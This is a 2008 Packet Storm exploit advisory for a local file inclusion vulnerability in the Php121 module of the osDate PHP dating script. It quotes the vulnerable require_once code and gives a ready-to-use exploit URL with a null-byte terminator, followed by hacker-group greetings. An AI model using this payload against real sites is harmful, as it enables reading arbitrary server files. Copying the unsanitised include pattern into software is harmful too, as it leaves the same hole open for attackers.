osdata-lfi.txt

2008-01-10T00:00:00
ID PACKETSTORM:62467
Type packetstorm
Reporter Cold z3ro
Modified 2008-01-10T00:00:00

Description

                                        
                                            `=========================================================================  
osData <= 2.08 Modules Php121 Local File Include Vulnerability   
=========================================================================  
Found by :  
Cold z3ro , http://www.Hackteach.org/cc/  
=========================================================================  
Download :  
http://gscripts.net/free-php-scripts/Dating_Scripts/osDate/details.html  
=========================================================================  
Bug :  
if (file_exists($php121dir . "php121config.php")) { <= line 34  
require_once($php121dir . "php121config.php");  
} else {  
die ("PHP121 configuration file does not exist!");  
}  
=========================================================================  
About :  
osData is php dating script fully integrates with major bulletin boards   
(phpBB, vBulletin ) and FlashChat and provides several payment modules,   
multiple skins, and free upgrade .  
=========================================================================  
Usage :  
http://host/osData/php121/php121db.php?php121dir=[ File ]%00  
=========================================================================  
Greets :   
Hack Teach Masters And Members , Xp10 Masters  
=========================================================================  
Plestine Hackers SQl Command :  
0 update palestine set palestine = 'Long live My Homeland';  
=========================================================================  
  
`